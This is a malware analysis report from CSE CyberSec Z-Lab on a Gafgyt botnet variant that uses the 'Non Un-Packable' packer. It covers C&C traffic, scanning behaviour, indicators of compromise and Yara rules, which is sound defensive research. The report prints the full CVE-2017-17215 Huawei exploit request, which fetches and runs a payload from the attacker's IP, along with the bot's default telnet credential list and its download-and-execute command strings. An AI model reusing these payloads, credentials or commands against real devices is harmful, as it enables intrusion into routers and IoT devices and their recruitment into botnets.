ZLAB

Malware Analysis Report

Dissecting the first Gafgyt bot implementing the “Non Un-Packable” NUP technique

CSE CyberSec Enterprise SPA
Via G.B. Martini 6, Rome, Italy 00100, Italia
Email: info@csecybsec.com
Website: www.csecybsec.com

New Gafgyt variant

A new variant of the Gafgyt Botnet is spreading in the last hours, we have found it with the support of the Italian cyber security experts [@Odisseus]() and [GranetMan](). The variant analyzed in this report was found on a system resolving the IP address owned by the Italian ISP Aruba. This specific version implements some advanced packing techniques that make the static analysis much harder.

```
remnux@remnux:~$ r2 -nn x86_32
[0x00000000]> pf.elf_header
Unknown format (elf_header)
```

We downloaded the sample directly from the compromised server, we found four samples of the Gafgyt variant that were already compiled for the specific architecture, X86-64, X86-32, MIPS, ARM.

http://80.211.173.159:80/x86_64
http://80.211.173.159:80/x86_32
http://80.211.173.159:80/mips
http://80.211.173.159:80/arm

The sample shows the same behavior associated with the classic Gafgyt botnet but we immediately noticed a distinctive feature, the implementation of "Non Un-Packable" NUP technique.

Malware Must Die leader @unixfreaxjp presented the sophisticated technique at the recent Radare conference (r2con2018) in his talk about the "Non Un-Packable" packer

According to the experts the "Non Un-Packable" ELF was around since a few months before the talk and our discovery confirms that malware developers started adopting it.

Considering that the amazing talk given by @unixfreaxjp is 97 slides long, and the NUP topic starts at slide 52, we have a huge background to gain in order to ramp up about UPXs (Ultimate Packer for eXecutables) and other packers in general, before arriving to what he call "the main course", and believe me it is avery sophisticated technique.

Mr. @unixfreaxjp has presented a packer that at the moment hasn’t a name and is defined with the pseudo-name “Non Un-Packable” (NUP).

The sample we have found is a NUP sample, for this reason it will be “hard dissect it statically” and it “is designed to be anti-emulator with cascade chains of obfuscator.”

There are no sections in the file we have found and there are no session to group:

```
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x109830
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         3
  Size of section headers:           64 (bytes)
  Number of section headers:         0
  Section header string table index: 0
```

Moreover there is no dynamic section, no relocations, no unwind sections and dynamic symbol is not available for displaying. Like the example shown by Mr. @unixfreaxjp show at slide 57

```
x86_64:     file format elf64-x86-64
x86_64
architecture: i386:x86-64, flags 0x00000102:
EXEC_P, D_PAGED
start address 0x0000000000109830

Program Header:
    LOAD off    0x0000000000000000 vaddr 0x0000000000100000 paddr 0x0000000000100000 align 2**20
         filesz 0x000000000000a8db memsz 0x000000000000a8db flags r-x
    LOAD off    0x0000000000000408 vaddr 0x0000000000519408 paddr 0x0000000000519408 align 2**12
         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-
   STACK off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**3
         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-

Sections:
Idx Name          Size      VMA               LMA               File off  Algn
SYMBOL TABLE:
no symbols
```

So at this point we can believe that we are facing with a new NUP example. To solve the problem we have to follow the steps show by Mr. @unixfreaxjp and everybody can check the slides he has published at the following link:

https://www.slideshare.net/slideshow/embed_code/key/2Ck9G90GsiU3SL

Once the machine is infected, the malware contacts its Command and Control infrastructure, that structure that coincides with the server used as repository from which we downloaded the malware. The malware first connects the C&C to register itself as new bot. The communication to the server is performed using the TCP protocol through the port 1629.

3	0.042010	10.0.2.15	80.211.173.159	TCP	54 45520 → 1629 [ACK] Seq=1 Ack=1 Win=29200 Len=0
4	0.042120	10.0.2.15	80.211.173.159	TCP	97 45520 → 1629 [PSH, ACK] Seq=1 Ack=1 Win=29200 Len=43
5	0.042467	80.211.173.159	10.0.2.15	TCP	60 1629 → 45520 [ACK] Seq=1 Ack=44 Win=65535 Len=0
6	0.042490	10.0.2.15	80.211.173.159	TCP	61 45520 → 1629 [PSH, ACK] Seq=44 Ack=1 Win=29200 Len=7
7	0.042702	80.211.173.159	10.0.2.15	TCP	60 1629 → 45520 [ACK] Seq=1 Ack=51 Win=65535 Len=0
8	0.083196	80.211.173.159	10.0.2.15	TCP	68 1629 → 45520 [PSH, ACK] Seq=1 Ack=51 Win=65535 Len=14
9	0.083218	10.0.2.15	80.211.173.159	TCP	54 45520 → 1629 [ACK] Seq=51 Ack=15 Win=29200 Len=0

The server responds to the bot sending a series of commands:

```
connection established -> 10.0.2.15:x86_64
x86_64
.BRUTER ON
.POPING
PING
```

Once established the connection with the C&C, the server sends to the bot these three commands:

- ".BRUTER ON"
- ".POPING"

- “PING”

The commands are used to instruct the bot to perform a brute forcing of many IP addresses pinging them and trying a syn connection. If the host correctly responds, the malicious code starts a port scanning in order to identify the exposed services or the type of devices encountered during the scan. The generation of these IPs seems to be random:

3819	10.542797	10.0.2.15	192.154.231.236	TCP	74	48709 → 23 [SYN] Seq=0 Win=29200 Len=0
3820	10.548299	10.0.2.15	203.68.188.252	TCP	74	58969 → 23 [SYN] Seq=0 Win=29200 Len=0
3821	10.548397	10.0.2.15	134.196.155.211	TCP	74	53377 → 23 [SYN] Seq=0 Win=29200 Len=0
3822	10.548450	10.0.2.15	223.235.238.62	TCP	74	44767 → 23 [SYN] Seq=0 Win=29200 Len=0
3823	10.548480	10.0.2.15	88.71.15.238	TCP	74	44234 → 23 [SYN] Seq=0 Win=29200 Len=0
3824	10.548530	10.0.2.15	78.220.139.240	TCP	74	45049 → 23 [SYN] Seq=0 Win=29200 Len=0
3825	10.548559	10.0.2.15	45.137.57.253	TCP	74	47105 → 23 [SYN] Seq=0 Win=29200 Len=0
3826	10.548609	10.0.2.15	70.53.192.180	TCP	74	60020 → 23 [SYN] Seq=0 Win=29200 Len=0
3827	10.548638	10.0.2.15	1.145.97.32	TCP	74	43896 → 23 [SYN] Seq=0 Win=29200 Len=0
3828	10.548687	10.0.2.15	72.168.56.10	TCP	74	38876 → 23 [SYN] Seq=0 Win=29200 Len=0
3829	10.548716	10.0.2.15	151.217.253.38	TCP	74	44900 → 23 [SYN] Seq=0 Win=29200 Len=0
3830	10.548781	10.0.2.15	143.212.96.154	TCP	74	36344 → 23 [SYN] Seq=0 Win=29200 Len=0
3831	10.548842	10.0.2.15	92.207.129.27	TCP	74	50969 → 23 [SYN] Seq=0 Win=29200 Len=0
3832	10.548876	10.0.2.15	140.94.52.212	TCP	74	58726 → 23 [SYN] Seq=0 Win=29200 Len=0
3833	10.548946	10.0.2.15	70.127.149.128	TCP	74	47100 → 23 [SYN] Seq=0 Win=29200 Len=0
3834	10.549084	10.0.2.15	39.187.123.149	TCP	74	55078 → 23 [SYN] Seq=0 Win=29200 Len=0
3835	10.549114	10.0.2.15	58.87.205.227	TCP	74	55063 → 23 [SYN] Seq=0 Win=29200 Len=0
3836	10.549165	10.0.2.15	75.213.211.151	TCP	74	47663 → 23 [SYN] Seq=0 Win=29200 Len=0
3837	10.549193	10.0.2.15	184.231.151.188	TCP	74	49007 → 23 [SYN] Seq=0 Win=29200 Len=0

10	0.083501	10.0.2.15	156.93.215.220	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
11	0.083612	10.0.2.15	197.195.138.220	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
12	0.083727	10.0.2.15	41.58.128.59	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
13	0.083820	10.0.2.15	41.35.87.223	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
14	0.083869	10.0.2.15	41.120.205.82	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
15	0.083894	10.0.2.15	156.122.135.71	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
16	0.083941	10.0.2.15	156.204.156.112	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
17	0.083965	10.0.2.15	197.61.206.23	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
18	0.084008	10.0.2.15	156.0.216.36	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
19	0.084031	10.0.2.15	197.131.64.211	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
20	0.084075	10.0.2.15	41.154.181.181	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
21	0.084099	10.0.2.15	41.200.5.76	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
22	0.084146	10.0.2.15	197.29.93.224	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
23	0.084171	10.0.2.15	41.183.110.81	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
24	0.084216	10.0.2.15	156.231.233.136	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
25	0.084239	10.0.2.15	197.10.141.205	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
26	0.084288	10.0.2.15	41.187.79.43	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
27	0.084312	10.0.2.15	197.66.236.87	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0
28	0.084355	10.0.2.15	41.39.105.166	TCP	54	55946 → 37215 [SYN] Seq=0 Win=44530 Len=0

As showed in the above figures, the malware tries to connect to the ports 23 and 37215: the first is the port used by Telnet service and, if it is open it tries to connect the Telnet server trying to gain the access using the default credentials:

```
.......................

Login authentication


Username:root

.........root
Password:...


% Login failed!

Username:
```

When the malware attempts to connect to the port 37215, it leverages the an exploit to trigger the CVE-2017-17215 flaw that affects the Huawei HG532 devices. The follow images shows the entire payload used with the CVE-2017-17215 exploit:

```
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/
DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/
encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
80.211.173.159 -l /tmp/ks -r /mips; /bin/busybox chmod +x /tmp/ks; /tmp/ks)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</
NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

HTTP/1.1 500 Internal Server Error
Content-Type: text/xml; charset="utf-8"
Server: Linux UPnP/1.0 Huawei-ATP-IGD
EXT:
Connection: Keep-Alive
Content-Length: 398
```

Another peculiarity of this malware is the mechanism that guarantees the unicity of the infection to the botnet. If the victim machine is infected another time and tries to connect to the C2C, the server replies with the kill command:

```
connection established -> 10.0.2.15:x86_64
x86_64
.KB
.epoll_ct
```

We also analyzed the dump of memory corresponding to the malware, the malware starts four different processes in memory.

PID	USER	PRI	NI	VIRT	RES	SHR	S	CPU%	MEM%	TIME+	Command
1803	root	20	0	2596	644	0	S	9.7	0.0	0:01.71	5hfikkipdcjhp4p3
1802	root	20	0	2172	128	0	S	0.0	0.0	0:00.01	5hfikkipdcjhp4p3
1804	root	20	0	2332	128	0	S	0.0	0.0	0:00.12	5hfikkipdcjhp4p3
1801	root	20	0	2172	128	0	S	0.0	0.0	0:00.00	5hfikkipdcjhp4p3

We extracted the dump in memory and we tried to gather further information from the dumps.

Analyzing the dump, we discovered more information about the exploits used by the malware:

- The Huawei exploit:

```
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 430
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30",
 uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001,
 cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
 s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
 <NewStatusURL>$(/bin/busybox wget -g 80.211.173.159 -l /tmp/ks -r /mips; /bin/busybox chmod +x /tmp/ks; /tmp/ks)</NewStatusURL>
 <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
;3154414:6148<
```

- The Telnet exploit includes a list a default credentials used by the malware:

```
root
default
guest
admin
Admin
user
support
tsgoingon
12345
vizxv
123456
xc3511
antslq
Zte521
zlxx.
0xhlwSG8
S2fGqNFs
7ujMko0admin
1234
zrvsz
```

Along with the commands that the malware injects into the compromised machine:

```
/bin/busybox cat /proc/cpuinfo
>%s.k && cd %s && for a in 'ls -a %s'; do >$a; done; >.LMAO
[telnet] %s detected -> %s:23:%s:%s
>.k; /bin/busybox chmod +x .k || /bin/busybox cp /bin/busybox .LMAO && >.LMAO && /bin/busybox cp /bin/busybox zrvsz; >zrvsz
/bin/busybox wget || /bin/busybox tftp
/bin/busybox wget http://%s/%s -O -> lmao; /bin/busybox chmod +x lmao; ./lmao
/bin/busybox tftp -r %s -g %s; /bin/busybox chmod +x %s; ./%s
[telnet] %s infection success with %s binary! -> %s:23:%s:%s
[telnet] %s infection failure! Echo taking over process -> %s:23:%s:%s
/bin/busybox echo -en '%s' %s .LMAO
/bin/busybox chmod +x .LMAO; ./.LMAO; /bin/busybox chmod +x zrvsz; ./zrvsz
[telnet] %s infection failure! -> %s:23:%s:%s
connection established -> %s:%s
```

Including information gathering about the device and the linux command “cat /proc/cpuinfo.”

The malware also forces the download of the right compilated file to execute on the machine.

IOCs

Analyzed Samples

Filename: “x86_32”

MD5	20c1a92cd41a1bd859da4437495f72b2
SHA-1	4c9ed4b524b0217be48379fed4155af9034d3bc8
SHA-256	768d0bd50f865ee7332224eca749e7de67210c778a4fb04425362d4008384927
File Size	48 KB

Filename: “x86_64”

MD5	8d874dfb21e79e4e8e6ef6a1f116f3b5
SHA-1	8f5c807d3100403cb27e7b93ca733bd21a6cb8a8
SHA-256	c9f01aaf26a48d047b2bf47692f47c4e38429da9fef6311226a3a71d6cdb0cf5
File Size	48 KB

Filename: “mips”

MD5	d650825e4695add08b454ce49b16d158
SHA-1	cbd3fab0aee9d3f8a3897648f411cc6fc47b02cd
SHA-256	2da9cc395c2e63cca6fe7dae6dc5c01439102289e32f8c223b9e4e10532b387b
File Size	49.2 KB

Filename: “arm”

MD5	bc60fe9d6f1dd49c196d7208be1f55cd
SHA-1	67a7eb4349a136fbafaf7556f1e48d4b57af7f09
SHA-256	98ecce217fa43ceafded06208104f07b32efbbbd1e68ab6b8a6678f2e331c3f7
File Size	48.1 KB

hashes

20c1a92cd41a1bd859da4437495f72b2

8d874dfb21e79e4e8e6ef6a1f116f3b5

d650825e4695add08b454ce49b16d158

bc60fe9d6f1dd49c196d7208be1f55cd

IP

80.211.173.159

Yara rules

```
rule Gafgyt_092018_arm {

   meta:
     description = "Yara Rule for variant of GAFGYT_092018_arm "
     author = "CSE CybSec Enterprise - Z-Lab"
     last_updated = "2018-09-18"
     tlp = "white"
     category = "informational"
   strings:
      $a = {8C B5 4D 7B AB 78 D5 6D 88 9D 15 32}
      $b = {7F 45 4C 46}
   $c = {D1 BD 26 10 2E CB 30 2B 64}
   condition:
      all of them
}
rule Gafgyt_092018_mips {
   meta:
     description = "Yara Rule for variant of GAFGYT_092018_mips "
     author = "CSE CybSec Enterprise - Z-Lab"
     last_updated = "2018-09-18"
     tlp = "white"
     category = "informational"
   strings:
      $a = {FE 8B 75 C9 22 10 0D F0 B0 17 AA 8C}
      $b = {7F 45 4C 46}
   $c = {00 BA 27 7B 17 D3 B3 07}
```

```
    condition:
        all of them
}
rule Gafgyt_092018_x86_32 {
    meta:
      description = "Yara Rule for variant of GAFGYT_092018_x86_32 "
      author = "CSE CybSec Enterprise - Z-Lab"
      last_updated = "2018-09-18"
      tlp = "white"
      category = "informational"
    strings:
        $a = {19 38 70 AA C2 4B A8 1D 2B 63 B8 80}
        $b = {7F 45 4C 46}
    $c = {DB 5B A7 F3 F5 85 79 9B FA}
    condition:
        all of them
}
rule Gafgyt_092018_x86_64 {
    meta:
      description = "Yara Rule for variant of GAFGYT_092018_x86_64 "
      author = "CSE CybSec Enterprise - Z-Lab"
      last_updated = "2018-09-18"
      tlp = "white"
      category = "informational"
    strings:
        $a = {8B 9F 54 F0 ED 0F 6E 45 A8 CA 92 1E 4E}
        $b = {7F 45 4C 46}
    $c = {6C 52 F8 E1 9C 06 0D 54}
    condition:
        all of them
}
```